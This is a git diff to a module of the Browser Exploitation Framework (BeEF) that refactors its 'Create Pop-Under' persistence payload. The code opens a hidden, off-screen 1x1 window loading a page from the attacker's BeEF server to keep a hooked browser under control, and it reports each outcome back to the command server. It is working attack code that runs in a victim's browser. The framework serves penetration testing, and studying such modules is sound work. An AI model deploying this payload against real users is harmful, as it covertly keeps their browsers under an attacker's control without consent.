diff --git a/modules/persistence/popunder_window/command.js b/modules/persistence/popunder_window/command.js index fd0ad9453..35324341e 100644 --- a/modules/persistence/popunder_window/command.js +++ b/modules/persistence/popunder_window/command.js @@ -5,12 +5,16 @@ // beef.execute(function() { - - var result = "Pop-under window successfully created!"; - - window.open(beef.net.httpproto + '://' + beef.net.host + ':' + beef.net.port + '/demos/plain.html','popunder','toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=1,height=1,left='+screen.width+',top='+screen.height+'').blur(); - - window.focus(); - - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result); + var popunder_url = beef.net.httpproto + '://' + beef.net.host + ':' + beef.net.port + '/demos/plain.html'; + var popunder_name = Math.random().toString(36).substring(2,10); + beef.debug("[Create Pop-Under] Creating window '" + popunder_name + "' for '" + popunder_url + "'"); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window requested'); + try { + window.open(popunder_url,popunder_name,'toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=1,height=1,left='+screen.width+',top='+screen.height+'').blur(); + window.focus(); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window successfully created!', beef.are.status_success()); + } catch(e) { + beef.debug("[Create Pop-Under] Could not create pop-under window"); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window was not created', beef.are.status_error()); + } });